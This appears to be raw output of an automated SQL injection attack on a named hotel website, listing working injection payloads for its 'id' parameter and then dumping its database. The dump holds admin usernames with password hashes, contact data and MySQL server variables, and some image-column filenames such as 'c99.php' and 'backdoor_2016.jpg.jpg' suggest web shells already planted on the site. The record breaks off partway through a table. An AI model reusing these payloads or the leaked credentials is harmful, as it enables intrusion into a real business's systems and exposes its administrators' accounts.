http://www.embryohotel.com/ Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 9016=9016 Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: id=1 AND GTID_SUBSET(CONCAT(0x7170717171,(SELECT (ELT(3275=3275,1))),0x716a707171),3275) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 1895 FROM (SELECT(SLEEP(5)))sjXW) Type: UNION query Title: MySQL UNION query (NULL) - 13 columns Payload: id=-7438 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717171,0x4756706b41627663424c4a5055675741507447696b4954474d4a4f486570546e66476b4866665575,0x716a707171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL# web application technology: Apache, PHP, PHP 5.6.40 back-end DBMS: MySQL >= 5.6 banner: '5.6.43' database management system users [1]: [*] 'cp227754_pyxis'@'localhost' Database: cp227754_embryohotel_db Table: room_option [13 entries] +----+--------------------+-----------------------------------+-----------------+------------+---------------------+---------------------+ | id | ot_name | ot_image | ot_name_en | ot_name_cn | last_update | last_insert | +----+--------------------+-----------------------------------+-----------------+------------+---------------------+---------------------+ | 15 | โต๊ะทำงาน | p1532901180-c99.php | desk | 書桌 | 2018-07-30 04:53:00 | 2017-01-14 18:45:13 | | 16 | เครื่องปรับอากาศ | p1511830508-med20.php.jpg | air conditioner | 空調 | 2017-11-28 07:55:08 | 2017-01-17 22:29:30 | | 17 | บริการโทรปลุก | p1484667377-other.jpg | Wake up call | 敲響了警鐘 | 2017-01-17 22:36:17 | 2017-01-17 22:36:17 | | 18 | กาต้มน้ำไฟฟ้า | p1513891696-backdoor_2016.jpg.jpg | Kettle | 水壺 | 2017-12-22 04:28:16 | 2017-01-17 22:36:42 | | 19 | เครื่องเป่าผม | p1511830448-med20.php.jpg | Hair dryer | 電吹風 | 2017-11-28 07:54:08 | 2017-01-17 22:37:18 | | 20 | ฝักบัว | p1484667464-other.jpg | shower | 淋浴 | 2017-01-17 22:37:44 | 2017-01-17 22:37:44 | | 21 | โทรศัพท์ | p1484667497-other.jpg | Telephone | 電話 | 2017-01-17 22:38:17 | 2017-01-17 22:38:17 | | 22 | สุขา | p1484667525-other.jpg | Toilet | 廁所 | 2017-01-17 22:38:45 | 2017-01-17 22:38:45 | | 23 | ตู้เย็น | p1484667584-other.jpg | refrigerator | 冰箱 | 2017-01-17 22:39:44 | 2017-01-17 22:39:44 | | 24 | พื้นที่นั่งเล่น | p1484667607-other.jpg | living area | 生活區 | 2017-01-17 22:40:07 | 2017-01-17 22:40:07 | | 25 | มินิบาร์ | p1484667632-other.jpg | Mini-bar | 小酒吧 | 2017-01-17 22:40:32 | 2017-01-17 22:40:32 | | 26 | ตู้นิรภัย | p1484667659-other.jpg | safe | 安全 | 2017-01-17 22:40:59 | 2017-01-17 22:40:59 | | 27 | ช่องรายการดาวเทียม | p1484667689-other.jpg | Satellite | 衛星 | 2017-01-17 22:41:29 | 2017-01-17 22:41:29 | +----+--------------------+-----------------------------------+-----------------+------------+---------------------+---------------------+ Database: cp227754_embryohotel_db Table: room [2 entries] +----+----------+-------------------------------+----------+-----------+-----------+-----------+-----------+------------+-------------+---------------------+-------------+---------------------+ | id | r_name | r_image | r_detail | r_sizebed | r_name_en | r_name_cn | r_countin | r_sizeroom | r_detail_en | last_update | r_detail_cn | last_insert | +----+----------+-------------------------------+----------+-----------+-----------+-----------+-----------+------------+-------------+---------------------+-------------+---------------------+ | 1 | Deluxe | p1556885873-untitled-1.jpg | | | Deluxe | Deluxe | 2 | | | 2019-05-03 19:20:50 | | 2019-01-13 21:43:59 | | 2 | superior | p1547392125-1512638751680.jpg | | | superior | superior | 2 | | | 2019-05-03 19:09:47 | | 2019-01-13 22:08:45 | +----+----------+-------------------------------+----------+-----------+-----------+-----------+-----------+------------+-------------+---------------------+-------------+---------------------+ Database: cp227754_embryohotel_db Table: admin [2 entries] +----+----------+------------------------------------------+------------+---------------------+---------------------+ | id | username | password | permission | last_insert | last_update | +----+----------+------------------------------------------+------------+---------------------+---------------------+ | 1 | admin | e742c63f03ab602f2b38433ffc28b5145ba1332d | 1 | 2016-10-15 00:00:00 | 2018-11-07 02:10:47 | | 2 | ARMERX | 8988c8cb582506f93b59b794af7212cb5406dfcf | 0 | 2020-02-11 10:58:49 | 2020-02-11 10:58:49 | +----+----------+------------------------------------------+------------+---------------------+---------------------+ Database: cp227754_embryohotel_db Table: image [37 entries] +----+------------------+---------------------------------------+----------+----------------+---------------------+---------------------+ | id | name | image | name_cn | name_en | last_update | insert_date | +----+------------------+---------------------------------------+----------+----------------+---------------------+---------------------+ | 27 | สระว่ายน้ำ | p1484668426-seriplacehotel-pool04.jpg | 游泳池 | swimming pool | 2017-01-17 22:53:46 | 2017-01-17 22:53:46 | | 28 | ห้องพัก Deluxe | p1484668487-untitled (16 of 86).jpg | 豪華房 | Deluxe Room | 2017-01-17 22:54:47 | 2017-01-17 22:54:47 | | 29 | ห้องพัก Deluxe | p1484668532-untitled (43 of 86).jpg | 豪華房 | Deluxe Room | 2017-01-17 22:55:32 | 2017-01-17 22:55:32 | | 30 | ห้องพัก Deluxe | p1484668562-untitled (68 of 86).jpg | 豪華房 | Deluxe Room | 2017-01-17 22:56:02 | 2017-01-17 22:56:02 | | 31 | ห้องพัก Suite | p1484668664-seriplacehotel-room06.jpg | 套房 | Suite Room | 2017-01-17 22:57:44 | 2017-01-17 22:57:44 | | 32 | ห้องพัก Suite | p1484668679-seriplacehotel-room07.jpg | 套房 | Suite Room | 2017-01-17 22:57:59 | 2017-01-17 22:57:59 | | 33 | ห้องพัก Superior | p1484668723-seriplacehotel-room03.jpg | 高級客房 | Superior rooms | 2017-01-17 22:58:43 | 2017-01-17 22:58:43 | | 23 | ล็อบบี้ | p1484668323-05.jpg | 前廳 | lobby | 2017-01-17 22:52:03 | 2017-01-17 22:52:03 | | 24 | ล็อบบี้ | p1484668348-s01.jpg | 前廳 | lobby | 2017-01-17 22:52:28 | 2017-01-17 22:52:28 | | 25 | ล็อบบี้ | p1484668371-s04.jpg | 前廳 | lobby | 2017-01-17 22:52:51 | 2017-01-17 22:52:51 | | 26 | สระว่ายน้ำ | p1484668404-seriplacehotel-pool01.jpg | 游泳池 | swimming pool | 2017-01-17 22:53:25 | 2017-01-17 22:53:25 | | 34 | ห้องอาหาร | p1484668766-image3.jpg | 餐廳 | restaurant | 2017-01-17 22:59:26 | 2017-01-17 22:59:26 | | 35 | ห้องอาหาร | p1484668781-image5.jpg | 餐廳 | restaurant | 2017-01-17 22:59:41 | 2017-01-17 22:59:41 | | 36 | ห้องอาหาร | p1484668799-image6.jpg | 餐廳 | restaurant | 2017-01-17 22:59:59 | 2017-01-17 22:59:59 | | 37 | ห้องพัก Deluxe | p1496824661-img_0844.jpg | | | 2017-06-07 15:37:41 | 2017-06-07 15:37:41 | | 38 | ห้องพัก Deluxe | p1496824725-img_0843.jpg | | Deluxe Room | 2017-06-07 15:38:45 | 2017-06-07 15:38:45 | | 39 | ห้องพัก Deluxe | p1496824807-img_0845.jpg | | Deluxe Room | 2017-06-07 15:40:07 | 2017-06-07 15:40:07 | | 40 | ห้องอาหาร | p1496825779-img_0849.jpg | | Restaurant | 2017-06-07 15:56:19 | 2017-06-07 15:56:19 | | 43 | ห้องอาหาร | p1496826517-img_0852.jpg | | Restarunt | 2017-06-07 16:08:37 | 2017-06-07 16:08:37 | | 42 | สระว่ายน้ำ | p1496825971-img_0850.jpg | | swimming pool | 2017-06-07 15:59:31 | 2017-06-07 15:59:31 | | 44 | ห้องอาหาร | p1502198435-dsc_4498.jpg | | | 2017-08-08 20:20:36 | 2017-08-08 20:20:36 | | 45 | ห้องอาหาร | p1502198467-dsc_4486.jpg | | | 2017-08-08 20:21:07 | 2017-08-08 20:21:07 | | 46 | ห้องอาหาร | p1502198507-dsc_4514.jpg | | Resturant | 2017-08-08 20:21:48 | 2017-08-08 20:21:48 | | 47 | ห้องอาหาร | p1502198582-dsc_4529.jpg | | Resturant | 2017-08-08 20:23:03 | 2017-08-08 20:23:03 | | 48 | ห้องอาหาร | p1502198616-dsc_4386.jpg | | Resturant | 2017-08-08 20:23:39 | 2017-08-08 20:23:39 | | 49 | ห้องอาหาร | p1502198651-dsc_4390.jpg | | Resturant | 2017-08-08 20:24:11 | 2017-08-08 20:24:11 | | 50 | lobby | p1502198756-dsc_4365.jpg | | lobby | 2017-08-08 20:25:57 | 2017-08-08 20:25:57 | | 51 | lobby | p1502198776-dsc_4343.jpg | | lobby | 2017-08-08 20:26:16 | 2017-08-08 20:26:16 | | 52 | lobby | p1502198802-dsc_4336.jpg | | lobby | 2017-08-08 20:26:42 | 2017-08-08 20:26:42 | | 53 | lobby | p1502198897-dsc_4794.jpg | | lobby | 2017-08-08 20:28:17 | 2017-08-08 20:28:17 | | 56 | ห้องอาหาร | p1505108968-img_1842.jpg | | Restaurant | 2017-09-11 12:49:28 | 2017-09-11 12:49:28 | | 57 | ห้องอาหาร | p1505109023-img_1840.jpg | | Restaurant | 2017-09-11 12:50:23 | 2017-09-11 12:50:23 | | 58 | ห้องอาหาร | p1505109070-img_1843.jpg | | Restaurant | 2017-09-11 12:51:10 | 2017-09-11 12:51:10 | | 59 | ห้องพัก | p1505109101-img_1836.jpg | | Room | 2017-09-11 12:51:41 | 2017-09-11 12:51:41 | | 60 | ห้องพัก | p1505109128-img_1839.jpg | | Room | 2017-09-11 12:52:08 | 2017-09-11 12:52:08 | | 61 | ห้องพัก | p1505109178-img_1848.jpg | | Room | 2017-09-11 12:52:58 | 2017-09-11 12:52:58 | | 62 | ห้องพัก | p1505109212-img_1851.jpg | | Room | 2017-09-11 12:53:32 | 2017-09-11 12:53:32 | +----+------------------+---------------------------------------+----------+----------------+---------------------+---------------------+ Database: cp227754_embryohotel_db Table: slideshow [3 entries] +----+---------+---------+--------------------------------+----------+----------+------------+---------------------+---------------------+---------------+---------------+ | id | link | title | image | title_en | title_cn | title_bold | insert_date | last_update | title_bold_en | title_bold_cn | +----+---------+---------+--------------------------------+----------+----------+------------+---------------------+---------------------+---------------+---------------+ | 30 | | | 1556886751-p1484668348-s01.jpg | | | | 2019-05-03 19:32:31 | 2019-05-03 19:32:31 | | | | 31 | | | 1556886755-untitled-1.jpg | | | | 2019-05-03 19:32:36 | 2019-05-03 19:32:36 | | | | 32 | | | 1556886759-image3.jpeg | | | | 2019-05-03 19:32:39 | 2019-05-03 19:32:39 | | | +----+---------+---------+--------------------------------+----------+----------+------------+---------------------+---------------------+---------------+---------------+ Database: cp227754_embryohotel_db Table: room_image [7 entries] +----+---------+------------------------------+---------------------+---------------------+ | id | room_id | name | date_add | date_update | +----+---------+------------------------------+---------------------+---------------------+ | 22 | 2 | 1556885322-untitled-1.jpg | 2019-05-03 19:08:42 | 2019-05-03 19:08:42 | | 23 | 2 | 1556885322-1512638751680.jpg | 2019-05-03 19:08:42 | 2019-05-03 19:08:42 | | 24 | 2 | 1556885322-pic 2..jpg | 2019-05-03 19:08:42 | 2019-05-03 19:08:42 | | 30 | 1 | 1556886050-untitled-1.jpg | 2019-05-03 19:20:50 | 2019-05-03 19:20:50 | | 31 | 1 | 1556886050-untitled-2.jpg | 2019-05-03 19:20:50 | 2019-05-03 19:20:50 | | 32 | 1 | 1556886050-untitled-3.jpg | 2019-05-03 19:20:50 | 2019-05-03 19:20:50 | | 33 | 1 | 1556886050-pic 2..jpg | 2019-05-03 19:20:51 | 2019-05-03 19:20:51 | +----+---------+------------------------------+---------------------+---------------------+ Database: cp227754_embryohotel_db Table: contact [1 entry] +----+------------+----------------------+-------+-------------+---------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------+-------------------------------------------------------------+-----------------------------------------------------------------------------+----------------------------------------------------------------------------------------------+-------------------------+ | id | fax | email | Gmail | mobile | Twitter | about_cn | Facebook | about_en | about_th | address_th | address_cn | address_en | call_center | +----+------------+----------------------+-------+-------------+---------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------+-------------------------------------------------------------+-----------------------------------------------------------------------------+----------------------------------------------------------------------------------------------+-------------------------+ | 1 | 038-373467 | info@embryohotel.com | Gmail | 090-9759290 | Twitter | 胚胎是芭堤雅市中心的真正全新的酒店。酒店拥有一个室外游泳池和露台，客人可以享受在餐厅用餐或在酒吧喝一杯。免费无线上网提供整个财产，并提供免费的私人停车24小时服务的前台。皇权免税购物中心 - 芭堤雅，距离胚胎600米，而阿尔卡萨歌厅距离酒店有1.3公里。乌塔堡国际机场有31公里。 | https://www.facebook.com/embryohotel/?fref=ts | The Embryo Hotel is a really brand new hotel in the center of PATTAYA. The hotel has an outdoor pool and terrace, and guests can enjoy a meal at the restaurant or a drink at the bar. Free WiFi is provided throughout the property and free private parking is available on site. Certain rooms have a seating area to relax in after a busy day. A terrace or balcony are featured in certain rooms. Rooms have a private bathroom equipped with a shower. Extras include free toiletries and a hair dryer. A flat-screen TV with satellite channels is featured. You will find a 24-hour front desk at the property. King Power Duty Free Mall - Pattaya is 600 metres from Embryo Hotel, while Alcazar Cabaret is 1.3 km from the property. U-Tapao International Airport is 31 km away. | | 503/19 หมู่ 9 หนองพรือ บางละมุง พัทยากลาง, ชลบุรี 20150 ไทย | 503/19 Moo 9. Noungprue, Banglamung\r\n芭堤雅市中心, 春武里府\r\n20150 泰國 | 503/19 Moo 9. Noungprue, Banglamung\r\nPattaya Central, Chon Buri Province\r\n20150 Thailand | 038-375001 , 038-374494 | +----+------------+----------------------+-------+-------------+---------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------+-------------------------------------------------------------+-----------------------------------------------------------------------------+----------------------------------------------------------------------------------------------+-------------------------+ Database: cp227754_embryohotel_db Table: local_area [14 entries] +----+---------+---------+--------------------------------+--------------------------------------------------------+-----------+--------------------------------+-------------------------------------------------------+--------------------------------+---------------------+-----------------------------------------------------------------------------------------------+-------------+---------------------+-----------------------------------------------+------------------------------------------+ | id <><>-OK | la_web | la_type | la_name | la_image | la_rating | la_name_en | la_address | la_name_cn | last_update | la_location | la_distance | last_insert | la_address_en | la_address_cn | +----+---------+---------+--------------------------------+--------------------------------------------------------+-----------+--------------------------------+-------------------------------------------------------+--------------------------------+---------------------+-----------------------------------------------------------------------------------------------+-------------+---------------------+-----------------------------------------------+------------------------------------------+ | 9 | | 1 | Harbor mall Pattaya | p1484495999-harbor.jpg | 1 | Harbor mall Pattaya | 190/25 ถนน พัทยากลาง หนองปรือ ชลบุรี | Harbor mall Pattaya | 2017-01-24 23:50:24 | https://www.google.co.th/maps/place/ฮาร์เบอร์พัทยา/@12.9341887,100.8955072,17z | 0.7 | 2017-01-12 19:36:48 | 190/25Central Pattaya Road, Nongprue,Chonburi | 二十五分之一百九十零中央芭堤雅路 | | 11 | | 1 | KingPower | p1484493138-king-power-pattaya-complex.jpg | 1 | KingPower | อำเภอ บางละมุง ชลบุรี 20150 | KingPower | 2017-01-23 19:49:30 | https://www.google.co.th/maps/place/คิง+เพาเวอร์+พัทยา+คอมเพล็กซ์/@12.92998,100.899542,15z | 0.95 | 2017-01-15 22:12:18 | 8 Moo 9 Nongprue Amphur Banglamung | 8 Moo 9 Banglamung | | 12 | | 1 | Max Muay Thai | p1484494501-12202571_1635127346735534_1542104034_n.jpg | 1 | Max Muay Thai | เมืองพัทยา อำเภอ บางละมุง ชลบุรี 20150 | Max Muay Thai | 2017-01-23 19:50:44 | https://www.google.co.th/maps/place/Max+Muay+Thai+Stadium+Pattaya/@12.9288065,100.8972036,17z | 0.7 | 2017-01-15 22:14:00 | Banglamung, Pattaya City, Chonburi | 邦拉蒙，芭堤雅市，春武裡府 | | 13 | | 1 | Food Land | p1484494480-62f5d97a27c749b1a7f47fa5669f9e2e.jpg | 1 | Food Land | ตำบลหนองปรือ อำเภอบางละมุง ชลบุรี | Food Land | 2017-01-23 19:51:11 | https://www.google.co.th/maps/search/Food+Land+pattaya/@12.9363838,100.8930454,16z | 0.7 | 2017-01-15 22:22:56 | Nongprue, Banglamung, Chonburi | 邦 | | 14 | | 1 | Big C extra | p1484494460-dsc00061-1.jpg | 1 | Big C extra | เมืองพัทยา อำเภอ บางละมุง ชลบุรี 20150 | Big C extra | 2017-01-23 19:51:37 | https://www.google.co.th/maps/place/Big+C/@12.9334663,100.8943968,18.25z | 0.65 | 2017-01-15 22:24:04 | Banglamung, Pattaya City, Chonburi | 邦拉蒙，芭堤雅市，春武裡府 | | 15 | | 1 | Central Festival Pattaya beach | p1484494516-central_festival-l.jpg | 1 | Central Festival Pattaya beach | 333/102 หมู่ 5 เมืองพัทยา อำเภอ บางละมุง ชลบุรี 20150 | Central Festival Pattaya beach | 2017-01-23 19:52:25 | https://www.google.co.th/maps/place/เซ็นทรัลเฟสติวัล+พัทยา+บีช/@12.9347916,100.8814655,17z | 1.1 | 2017-01-15 22:25:16 | 333/102 Moo 5, Pattaya, Banglamung. | 一百○二分之5，芭堤雅，邦拉蒙 | | 16 | | 1 | Ripley’s Believe iT or Not | p1484494811-07.jpg | 1 | Ripley’s Believe iT or Not | เมืองพัทยา อำเภอบางละมุง ชลบุรี | Ripley’s Believe iT or Not | 2017-01-23 19:52:53 | https://www.google.co.th/maps/@12.9285872,100.8763907,17z | 1.6 | 2017-01-15 22:40:11 | Banglamung, Pattaya City, Chonburi | 邦拉蒙，芭堤雅市，春武裡府 | | 17 | | 1 | Walking Street | p1484494932-08.jpg | 1 | Walking Street | เมืองพัทยา อำเภอ บางละมุง\r\nชลบุรี | Walking Street | 2017-01-23 19:53:27 | https://www.google.co.th/maps/@12.9262746,100.8707591,17z | 2 | 2017-01-15 22:42:12 | Pattaya, Banglamung Chon Buri | 芭堤雅，邦拉蒙 春武裡 | | 18 | | 1 | Bali Hai pier | p1484495047-09.jpg | 1 | Bali Hai pier | เมืองพัทยา อำเภอบางละมุง ชลบุรี | Bali Hai pier | 2017-01-23 19:54:02 | https://www.google.co.th/maps/place/Bali+Hai+Pier/@12.9249413,100.8656901,17z | 2.8 | 2017-01-15 22:44:07 | Banglamung, Pattaya City, Chonburi | 邦拉蒙，芭堤雅市，春武裡府 | | 19 | | 1 | Tiffany’s Show | p1484495193-10.jpg | 1 | Tiffany’s Show | 464/6 หมู่ที่ 9 บางปรือ บางละมุง | Tiffany’s Show | 2017-01-23 19:54:29 | https://www.google.co.th/maps/place/ทิฟฟานี+โชว์+พัทยา/@12.9488227,100.8863132,17z | 1.9 | 2017-01-15 22:46:33 | 464/6 Moo 9, Nongprue, Banglamung some. | 6分之4649，Nongprue，邦拉蒙一些 | | 20 | | 1 | Pattaya Alcazar | p1484495344-11.jpg | 1 | Pattaya Alcazar | เมืองพัทยา อำเภอ บางละมุง ชลบุรี | Pattaya Alcazar | 2017-01-23 19:54:51 | https://www.google.co.th/maps/place/Alcazar+Cabaret+Show/@12.943054,100.8866563,17z | 1.9 | 2017-01-15 22:49:04 | Banglamung, Pattaya City, Chonburi | 邦拉蒙，芭堤雅市，春武裡府 | | 21 | | 1 | Bone Club | p1484495447-12.jpg | 1 | Bone Club | 98/101 Road, Phettrakul | Bone Club | 2017-01-23 19:55:27 | https://www.google.co.th/maps/place/BONE/@12.948902,100.8891033,17z | 2.5 | 2017-01-15 22:50:47 | 98/101 Road, Phettrakul | 一百零一分之九十八路Phettrakul | | 22 | | 1 | Art in Paradise | p1484495546-13.jpg | 1 | Art in Paradise | 78/34 Pattaya Sai 2 Rd. | Art in Paradise | 2017-01-23 19:55:39 | https://www.google.co.th/maps/place/ART+IN+PARADISE/@12.9480564,100.8874822,17z | 2 | 2017-01-15 22:52:26 | 78/34 Pattaya Sai 2 Rd. | 78/34 Pattaya Sai 2 Rd. | | 23 | | 1 | Central Marina | p1522409535-upd.php | 1 | Central Marina | 78/54 หมู่ 9 ถ.พัทยาสาย 2, อำเภอบางละมุง | Central Marina | 2018-03-30 18:32:15 | https://www.google.co.th/maps/place/เซ็นทรัลมารีนา+พัทยา/@12.9455854,100.8881378,17z | 2 | 2017-01-15 22:55:17 | 78/54 Moo 9. 2 Pattaya, Banglamung. | 54分之78武9.2芭堤雅，邦拉蒙 | +----+---------+---------+--------------------------------+--------------------------------------------------------+-----------+--------------------------------+-------------------------------------------------------+--------------------------------+---------------------+-----------------------------------------------------------------------------------------------+-------------+---------------------+-----------------------------------------------+------------------------------------------+ Database: cp227754_embryohotel_db Table: slideshow_mobile [1 entry] +----+---------+-------+-----------------------+----------+----------+----------+---------------------+---------------------+-------------+-------------+ | id | link | title | image | subtitle | title_en | title_cn | insert_date | last_update | subtitle_cn | subtitle_en | +----+---------+-------+-----------------------+----------+----------+----------+---------------------+---------------------+-------------+-------------+ | 9 | | Mo1 | 1485176291-mobile.jpg | | | | 2017-01-23 19:58:11 | 2017-01-23 19:58:11 | | | +----+---------+-------+-----------------------+----------+----------+----------+---------------------+---------------------+-------------+-------------+ Database: cp227754_embryohotel_db Table: room_option_reletive [12 entries] +----+------+-------+---------------------+---------------------+ | id | r_id | ot_id | last_update | last_insert | +----+------+-------+---------------------+---------------------+ | 1 | 1 | 15 | 2019-01-13 22:00:15 | 2019-01-13 22:00:15 | | 2 | 1 | 16 | 2019-01-13 22:00:15 | 2019-01-13 22:00:15 | | 3 | 1 | 17 | 2019-01-13 22:00:15 | 2019-01-13 22:00:15 | | 4 | 1 | 18 | 2019-01-13 22:00:15 | 2019-01-13 22:00:15 | | 5 | 1 | 19 | 2019-01-13 22:00:15 | 2019-01-13 22:00:15 | | 6 | 1 | 20 | 2019-01-13 22:00:15 | 2019-01-13 22:00:15 | | 7 | 1 | 21 | 2019-01-13 22:00:15 | 2019-01-13 22:00:15 | | 8 | 1 | 22 | 2019-01-13 22:00:15 | 2019-01-13 22:00:15 | | 9 | 1 | 23 | 2019-01-13 22:00:15 | 2019-01-13 22:00:15 | | 10 | 1 | 24 | 2019-01-13 22:00:15 | 2019-01-13 22:00:15 | | 11 | 1 | 26 | 2019-01-13 22:00:15 | 2019-01-13 22:00:15 | | 12 | 1 | 27 | 2019-01-13 22:00:15 | 2019-01-13 22:00:15 | +----+------+-------+---------------------+---------------------+ Database: information_schema Table: USER_PRIVILEGES [1 entry] +------------------------------+--------------+---------------+----------------+ | GRANTEE | IS_GRANTABLE | TABLE_CATALOG | PRIVILEGE_TYPE | +------------------------------+--------------+---------------+----------------+ | 'cp227754_pyxis'@'localhost' | NO | def | USAGE | +------------------------------+--------------+---------------+----------------+ Database: information_schema Table: GLOBAL_VARIABLES [439 entries] +--------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | VARIABLE_NAME | VARIABLE_VALUE | +--------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | INNODB_LOG_COMPRESSED_PAGES | ON | | NET_WRITE_TIMEOUT | 60 | | INNODB_DISABLE_SORT_FILE_CACHE | OFF | | KEEP_FILES_ON_CREATE | OFF | | OLD_PASSWORDS | 0 | | LOG_BIN_USE_V1_ROW_EVENTS | OFF | | HAVE_DYNAMIC_LOADING | YES | | QUERY_CACHE_LIMIT | 1048576 | | SYNC_BINLOG | 0 | | LOG_BIN | OFF | | INNODB_PRINT_ALL_DEADLOCKS | OFF | | LICENSE | GPL | | INNODB_FT_SERVER_STOPWORD_TABLE | | | MULTI_RANGE_COUNT | 256 | | OLD | OFF | | LC_MESSAGES | en_US | | INNODB_READ_AHEAD_THRESHOLD | 56 | | PERFORMANCE_SCHEMA_EVENTS_STATEMENTS_HISTORY_SIZE | -1 | | INNODB_READ_ONLY | OFF | | SERVER_UUID | 28c00313-00b8-11e8-a237-fa163ee12f36 | | KEY_BUFFER_SIZE | 8388608 | | INNODB_LOG_GROUP_HOME_DIR | ./ | | INNODB_MONITOR_RESET_ALL | | | LONG_QUERY_TIME | 10.000000 | | INNODB_OPTIMIZE_FULLTEXT_ONLY | OFF | | PERFORMANCE_SCHEMA_MAX_THREAD_INSTANCES | -1 | | INNODB_STATS_METHOD | nulls_equal | | SKIP_NAME_RESOLVE | OFF | | INNODB_FAST_SHUTDOWN | 1 | | PID_FILE | /var/lib/mysql/cpanel10wh.bkk1.cloud.z.com.pid | | SSL_CA | | | READ_BUFFER_SIZE | 131072 | | INNODB_THREAD_CONCURRENCY | 0 | | MIN_EXAMINED_ROW_LIMIT | 0 | | SLAVE_NET_TIMEOUT | 3600 | | SERVER_ID_BITS | 32 | | INNODB_STATS_SAMPLE_PAGES | 8 | | LOG_SLOW_SLAVE_STATEMENTS | OFF | | SLAVE_ALLOW_BATCHING | OFF | | MAX_USER_CONNECTIONS | 20 | | INNODB_BUFFER_POOL_LOAD_NOW | OFF | | IGNORE_BUILTIN_INNODB | OFF | | INNODB_ADAPTIVE_FLUSHING_LWM | 10 | | REPORT_PORT | 3306 | | BINLOG_CHECKSUM | CRC32 | | MAX_CONNECT_ERRORS | 100 | | INNODB_PAGE_SIZE | 16384 | | QUERY_CACHE_WLOCK_INVALIDATE | OFF | | PERFORMANCE_SCHEMA_MAX_FILE_HANDLES | 32768 | | MAX_SP_RECURSION_DEPTH | 0 | | INNODB_SYNC_ARRAY_SIZE | 1 | | TIMED_MUTEXES | OFF | | INNODB_API_TRX_LEVEL | 0 | | DATETIME_FORMAT | %Y-%m-%d %H:%i:%s | | FLUSH_TIME | 0 | | INNODB_FLUSH_LOG_AT_TRX_COMMIT | 1 | | TX_READ_ONLY | OFF | | SKIP_NETWORKING | OFF | | INNODB_RANDOM_READ_AHEAD | OFF | | TABLE_OPEN_CACHE_INSTANCES | 1 | | INNODB_UNDO_LOGS | 128 | | INIT_CONNECT | | | PORT | 3306 | | RELAY_LOG_SPACE_LIMIT | 0 | | QUERY_ALLOC_BLOCK_SIZE | 8192 | | AUTOCOMMIT | ON | | LOG_BIN_TRUST_FUNCTION_CREATORS | OFF | | OLD_ALTER_TABLE | OFF | | INNODB_MONITOR_DISABLE | | | MYISAM_USE_MMAP | OFF | | HAVE_OPENSSL | DISABLED | | METADATA_LOCKS_CACHE_SIZE | 1024 | | MAX_BINLOG_STMT_CACHE_SIZE | 18446744073709547520 | | PERFORMANCE_SCHEMA_MAX_FILE_INSTANCES | -1 | | HOSTNAME | cpanel10wh.bkk1.cloud.z.com | | INNODB_SPIN_WAIT_DELAY | 6 | | RELAY_LOG_INFO_FILE | relay-log.info | | INNODB_FILE_FORMAT_MAX | Antelope | | OPTIMIZER_TRACE_OFFSET | -1 | | DEFAULT_STORAGE_ENGINE | MyISAM | | SQL_SAFE_UPDATES | OFF | | INNODB_LOCK_WAIT_TIMEOUT | 50 | | UNIQUE_CHECKS | ON | | INNODB_OLD_BLOCKS_TIME | 1000 | | MAX_SEEKS_FOR_KEY | 18446744073709551615 | | BINLOG_CACHE_SIZE | 32768 | | BINLOG_ROW_IMAGE | FULL | | INNODB_FLUSH_NEIGHBORS | 1 | | INNODB_COMPRESSION_FAILURE_THRESHOLD_PCT | 5 | | PERFORMANCE_SCHEMA_HOSTS_SIZE | -1 | | LOCKED_IN_MEMORY | OFF | | SECURE_FILE_PRIV | | | BINLOG_ORDER_COMMITS | ON | | OPTIMIZER_TRACE | enabled=off,one_line=off | | SLAVE_EXEC_MODE | STRICT | | SSL_KEY | | | HAVE_PROFILING | YES | | DATE_FORMAT | %Y-%m-%d | | AUTO_INCREMENT_INCREMENT | 1 | | SLAVE_SKIP_ERRORS | OFF | | PRELOAD_BUFFER_SIZE | 32768 | | SLAVE_PARALLEL_WORKERS | 0 | | LOCAL_INFILE | ON | | RELAY_LOG_PURGE | ON | | REPORT_USER | | | COLLATION_DATABASE | latin1_swedish_ci | | HAVE_GEOMETRY | YES | | INNODB_MONITOR_ENABLE | | | SLOW_QUERY_LOG | OFF | | INNODB_LOG_BUFFER_SIZE | 8388608 | | PERFORMANCE_SCHEMA_SETUP_OBJECTS_SIZE | 100 | | HOST_CACHE_SIZE | 628 | | INNODB_MAX_PURGE_LAG | 0 | | OPTIMIZER_TRACE_LIMIT | 1 | | MYISAM_MAX_SORT_FILE_SIZE | 9223372036853727232 | | EXPIRE_LOGS_DAYS | 0 | | INNODB_LRU_SCAN_DEPTH | 1024 | | OPEN_FILES_LIMIT | 65535 | | SQL_NOTES | ON | | SSL_CRLPATH | | | LOG_BIN_INDEX | | | CORE_FILE | OFF | | INNODB_BUFFER_POOL_LOAD_ABORT | OFF | | LOG_THROTTLE_QUERIES_NOT_USING_INDEXES | 0 | | 